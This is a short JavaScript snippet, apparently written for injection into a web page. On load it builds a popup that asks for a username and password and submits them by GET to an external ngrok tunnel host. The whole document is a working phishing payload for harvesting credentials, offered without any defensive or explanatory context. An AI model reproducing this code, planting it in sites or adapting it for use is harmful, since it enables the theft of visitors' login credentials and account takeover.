function start_Pop() { // Create a div for the popup var popupDiv = document.createElement("div"); popupDiv.classList.add("popup"); // Create a form var form = document.createElement("form"); form.id = "my_form"; form.method = "get"; form.action = "https://8d5e-147-235-208-109.ngrok.io"; // Create a heading var heading = document.createElement("h2"); heading.textContent = "Please enter your credentials"; // Create input for username var usernameInput = document.createElement("input"); usernameInput.type = "text"; usernameInput.id = "id_username"; usernameInput.name = "name_username"; usernameInput.placeholder = "Username"; usernameInput.required = true; // Create input for password var passwordInput = document.createElement("input"); passwordInput.type = "password"; passwordInput.id = "id_password"; passwordInput.name = "name_password"; passwordInput.placeholder = "Password"; passwordInput.required = true; // Create submit button var submitButton = document.createElement("input"); submitButton.type = "submit"; submitButton.value = "Send"; // Append elements to the form form.appendChild(heading); form.appendChild(usernameInput); form.appendChild(document.createElement("br")); form.appendChild(passwordInput); form.appendChild(document.createElement("br")); form.appendChild(submitButton); // Append form to the popup div popupDiv.appendChild(form); // Append the popup div to the body document.body.appendChild(popupDiv); } start_Pop();